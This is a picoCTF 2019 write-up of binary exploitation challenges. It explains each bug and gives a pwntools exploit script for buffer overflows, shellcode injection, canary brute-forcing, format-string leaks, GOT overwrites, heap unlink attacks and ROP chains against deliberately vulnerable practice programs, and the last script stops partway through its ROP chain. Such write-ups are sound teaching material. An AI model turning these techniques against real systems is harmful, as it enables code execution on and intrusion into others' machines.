PicoCTF 2019 Writeup: Binary Exploitation
Oct 12, 2019 00:00 · 5411 words · 26 minute read
handy-shellcode
Problem
This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_4_037bd47611d842b565cfa1f378bfd8d9 on the shell server. Source.
Solution
The solution is basically the same as the shellcode challenge from last year (click the link for my writeup on that).
Here’s the exploit script that I used:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
# if DEBUG:
# attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process('/problems/handy-shellcode_4_037bd47611d842b565cfa1f378bfd8d9/vuln')
REMOTE = True
sh.sendlineafter(':\n', asm(shellcraft.i386.linux.sh()))
sh.sendlineafter('$ ', 'cat /problems/handy-shellcode_4_037bd47611d842b565cfa1f378bfd8d9/flag.txt')
sh.interactive()
flag: picoCTF{h4ndY_d4ndY_sh311c0d3_55c521fe}
practice-run-1
Problem
You’re going to need to know how to run programs if you’re going to get out of here. Navigate to /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e on the shell server and run this program to receive a flag.
Solution
$ ssh alanc@2019shell1.picoctf.com
alanc@pico-2019-shell1:~$ cd /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e
alanc@pico-2019-shell1:/problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e$ ./run_this
picoCTF{g3t_r3adY_2_r3v3r53}
flag: picoCTF{g3t_r3adY_2_r3v3r53}
OverFlow 0
Problem
This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_1_54d12127b2833f7eab9758b43e88d3b7 on the shell server. Source.
Solution
Same as buffer-overflow-0 from last year.
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process([BINARY,'a'*(128+4)+p32(0xdeadbeef)], stdout=stdout, stdin=stdin)
# if DEBUG:
# attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process(['vuln','a'*(128+4)+p32(0xdeadbeef)], cwd='/problems/overflow-0_1_54d12127b2833f7eab9758b43e88d3b7')
REMOTE = True
sh.interactive()
flag: picoCTF{3asY_P3a5yb197d4e2}
OverFlow 1
Problem
You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_2_305519bf80dcdebd46c8950854760999 on the shell server. Source.
Solution
Same as buffer-overflow-1 from last year.
One thing to clarify is how I found the offset of the return address. In the case, I found the offset to be 0x48+4
or 76
. This is obtained by using a tool like radare2 and looking at the stack layout of the function:
$ r2 ./vuln
[0x080484d0]> aaaa
[0x080484d0]> afl~flag
0x080485e6 3 121 sym.flag
[0x080484d0]> pdf @ sym.vuln
/ (fcn) sym.vuln 63
| sym.vuln ();
| ; var char *s @ ebp-0x48
| ; var int32_t var_4h @ ebp-0x4
As you can see, the buffer is located at ebp-0x48
and we know there are another 4 bytes for the saved ebp register. That’s how we can find the offset.
Another approach would be to use something like this and deduce the offset by looking at the segfault address.
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
# if DEBUG:
# attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process('vuln', cwd='/problems/overflow-1_2_305519bf80dcdebd46c8950854760999')
REMOTE = True
win_addr = 0x080485e6
payload = 'a'*(0x48+4)+p32(win_addr)
sh.sendlineafter(': ', payload)
sh.interactive()
flag: picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5a32b9368}
NewOverFlow-1
Problem
You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_2_305519bf80dcdebd46c8950854760999 on the shell server. Source.
Solution
This is a simple buffer overflow challenge like OverFlow 1 (read this to see how I found the return address offset), but instead of 32 bit, it is now 64 bit.
There’s a slight problem with calling the win function directly because of buffering problems, so we need to call the main first before calling the win function. Our payload would look something like this:
- offset
- main_addr
- win_addr
2019.10.13 Update
The problem with calling the win function directly is not because of buffering issues. Instead, it is triggered by a stack misalignment. When we send a payload without calling the main function:
- offset
- win_addr
We see in gdb (with gef) that it crashed on movaps
:
...
$rsp : 0x00007ffda0c16528 → 0x0000000000000000
...
0x7f32ef45065c <buffered_vfprintf+140> punpcklqdq xmm0, xmm0
0x7f32ef450660 <buffered_vfprintf+144> mov DWORD PTR [rsp+0xa4], eax
0x7f32ef450667 <buffered_vfprintf+151> lea rax, [rip+0x3890f2] # 0x7f32ef7d9760 <_IO_helper_jumps>
→ 0x7f32ef45066e <buffered_vfprintf+158> movaps XMMWORD PTR [rsp+0x50], xmm0
0x7f32ef450673 <buffered_vfprintf+163> mov QWORD PTR [rsp+0x108], rax
0x7f32ef45067b <buffered_vfprintf+171> call 0x7f32ef44d390 <_IO_vfprintf_internal>
0x7f32ef450680 <buffered_vfprintf+176> mov r12d, eax
0x7f32ef450683 <buffered_vfprintf+179> mov r13d, DWORD PTR [rip+0x39225e] # 0x7f32ef7e28e8 <__libc_pthread_functions_init>
0x7f32ef45068a <buffered_vfprintf+186> test r13d, r13d
A quick google search shows that “When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated” which is what caused the segfault. In other words, the program crashed because rsp+0x50
which equals 0x7ffda0c16578
is not a multiple of 16. To fix this, we really just need to shift the stack by 8 bytes through calling any other function before the win function:
- offset
- any_function_addr
- win_addr
For example, a payload of payload = 'a'*(0x40+8)+p64(0x00000000004005de)+p64(win_addr)
also works where 0x00000000004005de
is a simple ret gadget:
$ r2 ./vuln
[0x00400680]> pd 1 @ 0x00000000004005de
0x004005de c3 ret
Thanks unprovoked for bringing this to my attention.
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
if DEBUG:
attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process('vuln', cwd='/problems/newoverflow-1_0_f9bdea7a6553786707a6d560decc5d50')
REMOTE = True
win_addr = 0x00400767
main_addr = 0x004007e8
payload = 'a'*(0x40+8)+p64(main_addr)+p64(win_addr)
sh.sendlineafter(': ', payload)
sh.sendlineafter(': ', 'a')
sh.interactive()
flag: picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_1a8eb93a}
slippery-shellcode
Problem
This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode_1_69e5bb04445e336005697361e4c2deb0 on the shell server. Source.
Solution
This is similar to handy-shellcode but a random offset is added to the address that it is calling:
int offset = (rand() % 256) + 1;
((void (*)())(buf+offset))();
To bypass this, we can add a nop slide in front of our shellcode payload which is basically a ton of nop
instructions. This allows the shellcode to execute as long as the calling address lands on one of the nop
instructions.
Also, check out the gps challenge from last year which is about the same technique.
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
# if DEBUG:
# attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process('/problems/slippery-shellcode_1_69e5bb04445e336005697361e4c2deb0/vuln')
REMOTE = True
sh.sendlineafter(':\n', '\x90'*256+asm(shellcraft.i386.linux.sh()))
sh.sendlineafter('$ ', 'cat /problems/slippery-shellcode_1_69e5bb04445e336005697361e4c2deb0/flag.txt')
sh.interactive()
flag: picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}
NewOverFlow-2
Problem
Okay now lets try mainpulating arguments. program. You can find it in /problems/newoverflow-2_2_1428488532921ee33e0ceb92267e30a7 on the shell server. Source.
Solution
Think the challenge author forgot to remove the flag
function which makes the challenge solvable with the same script as NewOverFlow-1
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
if DEBUG:
attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process('vuln', cwd='/problems/newoverflow-2_2_1428488532921ee33e0ceb92267e30a7')
REMOTE = True
# $ r2 ./vuln
# [0x00400680]> aaaa
# [0x00400680]> afl~flag
# 0x0040084d 3 101 sym.flag
# [0x00400680]> afl~main
# 0x004008ce 1 105 main
win_addr = 0x0040084d
main_addr = 0x004008ce
payload = 'a'*(0x40+8)+p64(main_addr)+p64(win_addr)
sh.sendlineafter('?\n', payload)
sh.sendlineafter('?\n', 'a')
sh.interactive()
flag: picoCTF{r0p_1t_d0nT_st0p_1t_64362a2b}
OverFlow 2
Problem
Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_6_97cea5256ff7afcd9c8ede43d264f46e on the shell server. Source.
Solution
This challenge is about the 32bit x86 calling convention where we need to call the flag
function with two parameters. I have already done a detailed writeup for last year’s buffer-overflow-2 challenge which is similar.
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
# if DEBUG:
# attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process('vuln', cwd='/problems/overflow-2_6_97cea5256ff7afcd9c8ede43d264f46e')
REMOTE = True
# $ r2 ./vuln
# [0x080484d0]> aaaa
# [0x080484d0]> afl~flag
# 0x080485e6 8 144 sym.flag
# [0x080484d0]> pdf @ sym.vuln
# / (fcn) sym.vuln 63
# | sym.vuln ();
# | ; var char *s @ ebp-0xb8
# | ; var int32_t var_4h @ ebp-0x4
win_addr = 0x080485e6
payload = 'a'*(0xb8+4)+p32(win_addr)+'a'*4+p32(0xDEADBEEF)+p32(0xC0DED00D)
sh.sendlineafter(': ', payload)
sh.interactive()
flag: picoCTF{arg5_and_r3turn55897b905}
CanaRy
Problem
This time we added a canary to detect buffer overflows. Can you still find a way to retrieve the flag from this program located in /problems/canary_4_221260def5087dde9326fb0649b434a7. Source.
Solution
Same as buffer-overflow-3 from last year. The key point is that we can guess the constant canary one byte at a time and we can also bypass PIE by bruting forcing plus a partial overwrite.
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
def start():
global sh
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
# if DEBUG:
# attach_gdb()
REMOTE = False
else:
sh = s.process('vuln', cwd='/problems/canary_4_221260def5087dde9326fb0649b434a7')
REMOTE = True
# key = ''
# for i in range(4):
# for c in range(256):
# start()
# c = chr(c)
# sh.sendlineafter('> ', str(33+i))
# sh.sendlineafter('> ', 'a'*32+key+c)
# data = sh.recvall()
# if 'Stack Smashing Detected' not in data:
# key += c
# print enhex(key)
# break
# else:
# print 'error'
# exit()
key = unhex('4c6a6748')
while True:
start()
sh.sendlineafter('> ', str(32+4+12+6))
sh.sendlineafter('> ', 'a'*32+key+'a'*(4+12)+'\xed\x07')
# sh.interactive()
data = sh.recvall(timeout=0.5)
if 'pico' in data:
print data
exit()
flag: picoCTF{cAnAr135_mU5t_b3_r4nd0m!_bf34cd22}
leap-frog
Problem
Can you jump your way to win in the following program and get the flag? You can find the program in /problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c on the shell server? Source.
Solution
This is a classic ROP challenge. But instead of going through all the hoops as intended, we can set all win*
variables to 1 by calling gets with a payload that looks like this:
- padding
- gets_plt <- first function to call
- flag_addr <- second function to call
- win_addr <- the buffer parameter being passed to gets
Exploit script:
from pwn import *
import sys
import subprocess
argv = sys.argv
DEBUG = True
BINARY = './rop'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'error'
def start():
global sh
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
if DEBUG:
attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process('rop', cwd='/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c')
REMOTE = True
main_addr = 0x80487c9
gets_plt = 0x08048430
win1_addr = 0x0804A03D
display_flag_addr = 0x080486b3
start()
payload = 'a'*28
payload += p32(gets_plt)
payload += p32(display_flag_addr)
payload += p32(win1_addr)
# payload += p32(0x38c0)[:-2]
sh.sendlineafter('> ', payload)
sh.sendline('\x01'*3)
sh.interactive()
flag: picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}
messy-malloc
Problem
Can you take advantage of misused malloc calls to leak the secret through this service and get the flag? Connect with nc 2019shell1.picoctf.com 12286
. Source.
Solution
Because the program uses malloc
instead of calloc
, we can allocate a heap chunk for the username that has the same size as a user struct, and then we can free the chunk and allocate the same chunk now as a user struct. Because the data we previously entered is still there, we can set the access_code
and get the flag.
Exploit script:
from pwn import *
import sys
# picoCTF{g0ttA_cl3aR_y0uR_m4110c3d_m3m0rY_8aa9bc45}
argv = sys.argv
DEBUG = True
BINARY = './auth'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
if DEBUG:
attach_gdb()
REMOTE = False
else:
sh = remote('2019shell1.picoctf.com', 12286)
REMOTE = True
code = ''
code += unhex('4343415f544f4f52')[::-1]
code += unhex('45444f435f535345')[::-1]
print code
sh.sendlineafter('> ', 'login')
sh.sendlineafter('username\n', '32')
payload = ''
payload += p64(0x0000000000602000) # username ptr
payload += code
payload += p64(0xdeadbeefdeadbeef) # files ptr
sh.sendlineafter('username\n', payload)
sh.sendlineafter('> ', 'logout')
sh.sendlineafter('> ', 'login')
sh.sendlineafter('username\n', '16')
sh.sendlineafter('username\n', 'bbb')
sh.sendlineafter('> ', 'print-flag')
sh.interactive()
flag: picoCTF{g0ttA_cl3aR_y0uR_m4110c3d_m3m0rY_8aa9bc45}
stringzz
Problem
Use a format string to pwn this program and get a flag. Its also found in /problems/stringzz_2_a90e0d8339487632cecbad2e459c71c4 on the shell server. Source.
Solution
As suggested by the description, this is a format string attack challenge where we are able to control the format string being passed to printf
:
void printMessage3(char *in)
{
puts("will be printed:\n");
printf(in);
}
Another important information is that although the flag is loaded onto the heap, there’s still a pointer to it located on the stack:
char * buf = malloc(sizeof(char)*FLAG_BUFFER);
FILE *f = fopen("flag.txt","r");
fgets(buf,FLAG_BUFFER,f);
So if we do %XX$s
with the correct offset, we can print out the flag.
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
def start():
global sh
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
# if DEBUG:
# attach_gdb()
REMOTE = False
else:
sh = s.process('vuln', cwd='/problems/stringzz_2_a90e0d8339487632cecbad2e459c71c4')
REMOTE = True
# for i in range(200):
# start()
# try:
# sh.sendlineafter(':\n', '%{}$s'.format(i))
# data = sh.recvall()
# if 'pico' in data:
# print data
# exit()
# except:
# print 'pass'
start()
payload = '%37$s'
sh.sendlineafter(':\n', payload)
sh.interactive()
flag: picoCTF{str1nG_CH3353_166b95b4}
GoT
Problem
You can only change one address, here is the problem: program. It is also found in /problems/got_1_6a9949d39d119bd2973bdc661d78f71d on the shell server. Source.
Solution
This is a simple GOT overwrite challenge. It is the same as got-shell? from last year.
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
if DEBUG:
attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process('vuln', cwd='/problems/got_1_6a9949d39d119bd2973bdc661d78f71d')
REMOTE = True
# $ r2 ./vuln
# [0x080484b0]> aaaa
# [0x080484b0]> afl~win
# 0x080485c6 3 153 sym.win
# [0x080484b0]> afl~exit
# 0x08048460 1 6 sym.imp.exit
# [0x080484b0]> pdf @ sym.imp.exit
# / (fcn) sym.imp.exit 6
# \ 0x08048460 ff251ca00408 jmp dword [reloc.exit] ; 0x804a01c ; "f\x84\x04\bv\x84\x04\b\x86\x84\x04\b\x96\x84\x04\b"
exit_got = 0x804a01c
win_addr = 0x080485c6
sh.sendlineafter('address\n', str(exit_got))
sh.sendlineafter('value?\n', str(win_addr))
sh.interactive()
flag: picoCTF{A_s0ng_0f_1C3_and_f1r3_e122890e}
pointy
Problem
Exploit the function pointers in this program. It is also found in /problems/pointy_1_e2b49b679521bd6d957b864c91e7b39e on the shell server. Source.
Solution
The bug in the program is that we can select professors as students and students as professors. By writing the lastScore
of a professor
and then treating it as a student
, we can control the scoreProfessor
field and retrieve the flag.
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
if DEBUG:
attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process('vuln', cwd='/problems/pointy_1_e2b49b679521bd6d957b864c91e7b39e')
REMOTE = True
win_addr = 0x08048696
payload = ''
send = lambda x: sh.sendlineafter('\n', x)
send('a')
send('b')
send('a')
send('b')
send(str(win_addr))
sh.sendlineafter(' student\n', 'c')
send('d')
send('b')
send('d')
send(str(0))
sh.interactive()
flag: picoCTF{g1v1ng_d1R3Ct10n5_16d57b6c}
seed-sPRiNG
Problem
The most revolutionary game is finally available: seed sPRiNG is open right now! seed_spring. Connect to it with nc 2019shell1.picoctf.com 4160.
Solution
By reversing the program, we can see that our objective is to correctly guess 30 random numbers in a row:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+0h] [ebp-18h]
int v5; // [esp+4h] [ebp-14h]
unsigned int seed; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]
int *v8; // [esp+10h] [ebp-8h]
v8 = &argc;
puts((const char *)&unk_A40);
puts((const char *)&unk_A40);
puts(" ");
puts(" # mmmmm mmmmm \" mm m mmm ");
puts(" mmm mmm mmm mmm# mmm # \"# # \"# mmm #\"m # m\" \"");
puts(" # \" #\" # #\" # #\" \"# # \" #mmm#\" #mmmm\" # # #m # # mm");
puts(" \"\"\"m #\"\"\"\" #\"\"\"\" # # \"\"\"m # # \"m # # # # # #");
puts(" \"mmm\" \"#mm\" \"#mm\" \"#m## \"mmm\" # # \" mm#mm # ## \"mmm\"");
puts(" ");
puts((const char *)&unk_A40);
puts((const char *)&unk_A40);
puts("Welcome! The game is easy: you jump on a sPRiNG.");
puts("How high will you fly?");
puts((const char *)&unk_A40);
fflush(stdout);
seed = time(0);
srand(seed);
for ( i = 1; i <= 30; ++i )
{
printf("LEVEL (%d/30)\n", i);
puts((const char *)&unk_A40);
LOBYTE(v5) = rand() & 0xF;
v5 = (unsigned __int8)v5;
printf("Guess the height: ");
fflush(stdout);
__isoc99_scanf("%d", &v4);
fflush(stdin);
if ( v5 != v4 )
{
puts("WRONG! Sorry, better luck next time!");
fflush(stdout);
exit(-1);
}
}
puts("Congratulation! You've won! Here is your flag:\n");
get_flag();
fflush(stdout);
return 0;
}
We can accomplish this if we are able to determine the exact value time(0)
returns which is the seed. This can be done in python as described here.
Exploit script:
from pwn import *
import sys
import ctypes
LIBC = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
argv = sys.argv
DEBUG = True
BINARY = './seed_spring'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
def start():
global sh
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
# if DEBUG:
# attach_gdb()
REMOTE = False
else:
sh = remote('2019shell1.picoctf.com', 4160)
REMOTE = True
for i in range(100):
start()
try:
LIBC.srand(LIBC.time(0)-i)
for i in range(30):
sh.sendlineafter(': ', str(LIBC.rand() & 0xf))
sh.interactive()
except:
print 'pass'
flag: picoCTF{pseudo_random_number_generator_not_so_random_24ce919be49576c7df453a4a3e6fbd40}
AfterLife
Problem
Just pwn this program and get a flag. It’s also found in /problems/afterlife_6_1c6bc56bd64007e5162e284db4d03df5 on the shell server. Source.
Solution
This is a heap overflow attack where we have a leaked heap address. A quick check with radare2 reveals that it is not using the standard malloc
in libc:
[0x08048850]> afl~malloc
0x08049d81 16 481 sym.malloc_consolidate
0x0804ab72 7 105 sym.malloc_usable_size
0x0804937b 64 1908 sym.malloc
0x0804ad80 3 176 sym.malloc_stats
0x0804ab38 1 58 sym.malloc_trim
0x08048b7f 4 226 sym.malloc_init_state
0x0804a7ca 1 37 sym.independent_comalloc
The first attack that came to mind is the unlink attack. We can overwrite the fd_ptr
and bk_ptr
pointers of a freed chunk, so when the chunk is then malloced, fd_ptr+12 = bk_ptr
and bk_ptr+8 = fd_ptr
. We can utilize this to overwrite the GOT table and get code execution with something like this:
- exit_got-12 <– fd_ptr
- leak+8 <– bk_ptr / location of our shellcode.
After unlink, exit_got-12+12
will equal leak+8
the location where we placed our shellcode.
One thing to keep in mind is that 4 bytes of our shellcode would also get corrupted by the unlink, so we need to have a relative jump at the start of our shellcode:
payload += asm('''
jmp sc
{}
sc:
nop
'''.format('nop\n'*100)+shellcraft.i386.linux.sh())
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process([BINARY, 'AAAAAAAABBBBBBBB'], stdout=stdout, stdin=stdin)
if DEBUG:
attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process(['vuln', 'AAAAAAAABBBBBBBB'], cwd='/problems/afterlife_6_1c6bc56bd64007e5162e284db4d03df5')
REMOTE = True
leak = int(sh.recvuntil('you').split('\n')[-2])
print hex(leak)
exit_got = 0x804d02c
payload = p32(exit_got-12)
payload += p32(leak+8)
payload += asm('''
jmp sc
{}
sc:
nop
'''.format('nop\n'*100)+shellcraft.i386.linux.sh())
print enhex(payload)
assert len(payload) <= 256
payload = payload.ljust(256)
sh.sendlineafter('...\n', payload)
sh.interactive()
flag: picoCTF{what5_Aft3r_d2d97c7b}
L1im1tL355
Problem
Just pwn this program and get a flag. Its also found in /problems/l1im1tl355_1_688adedb3c25bf76cbb2c2a0fe7e9ac3 on the shell server. Source.
Solution
Because there’s no bound check in c arrays, we can enter negative numbers for the index. This allows us to overwrite the return address of the replaceIntegerInArrayAtIndex
function since the stack looks something like this:
- lower stack address
- replaceIntegerInArrayAtIndex: stack data
- replaceIntegerInArrayAtIndex: saved ebp
- replaceIntegerInArrayAtIndex: return address (-5)
- main: other stack data
- main: array (+0)
- higher stack address
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
if DEBUG:
attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process('vuln', cwd='/problems/l1im1tl355_1_688adedb3c25bf76cbb2c2a0fe7e9ac3')
REMOTE = True
win_addr = 0x080485c6
sh.sendlineafter('array\n', str(win_addr))
sh.sendlineafter('value\n', str(-5))
sh.interactive()
flag: picoCTF{str1nG_CH3353_59c3cf5a}
SecondLife
Problem
Just pwn this program using a double free and get a flag. It’s also found in /problems/secondlife_2_ecf87473c7934afc6ea15edd2ee954ca on the shell server. Source.
Solution
This is a double-free heap exploit challenge. The unlink solution that I wrote for AfterLife works for this challenge as well, so I just copied the same script over with minor changes.
Exploit script:
from pwn import *
import sys
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
if DEBUG:
attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process('vuln', cwd='/problems/secondlife_2_ecf87473c7934afc6ea15edd2ee954ca')
REMOTE = True
print sh.recvline()
leak = int(sh.recvline())
print hex(leak)
sh.sendline('abcde')
exit_got = 0x0804d02c
payload = p32(exit_got-12)
payload += p32(leak+8)
payload += asm('''
jmp sc
{}
sc:
nop
'''.format('nop\n'*100)+shellcraft.i386.linux.sh())
print enhex(payload)
assert len(payload) <= 256
payload = payload.ljust(256)
sh.sendlineafter('...\n', payload)
sh.interactive()
flag: picoCTF{HeapHeapFlag_d11a9aaf}
rop32
Problem
Can you exploit the following program to get a flag? You can find the program in /problems/rop32_3_f3a10b5fa410146f5328fb7b3e63e7c0 on the shell server. Source.
Solution
Based on the challenge name and the fact that the binary is statically compiled, we can tell that this is a pure ROP challenge where we need to get code execution:
$ r2 ./vuln
[0x08048730]> i~static
static true
The hard way to approach this type of problems is to do it manually, but I prefer to do it with an automated tool which is the easy way out:
$ ROPgadget --binary ./vuln --rop --badbytes "0a"
Running the command above produces an exploit payload that you can just copy and paste into your script.
Exploit script:
from pwn import *
import sys
import subprocess
import r2pipe
argv = sys.argv
DEBUG = True
BINARY = './vuln'
context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']
def attach_gdb():
gdb.attach(sh)
if DEBUG:
context.log_level = 'debug'
if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY
sh = process(BINARY, stdout=stdout, stdin=stdin)
if DEBUG:
attach_gdb()
REMOTE = False
else:
s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
sh = s.process('vuln', cwd='/problems/rop32_3_f3a10b5fa410146f5328fb7b3e63e7c0')
REMOTE = True
# ROPgadget --binary ./vuln --rop --badbytes "0a"
from struct import pack
p = 'a'*(28)
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da060) # @ .data
p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
p += '/bin'
p += pack('<I', 0x080da060) # padding without overwrite edx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da064) # @ .data + 4
p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
p += '//sh'
p += pack('<I', 0x080da064) # padding without overwrite edx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
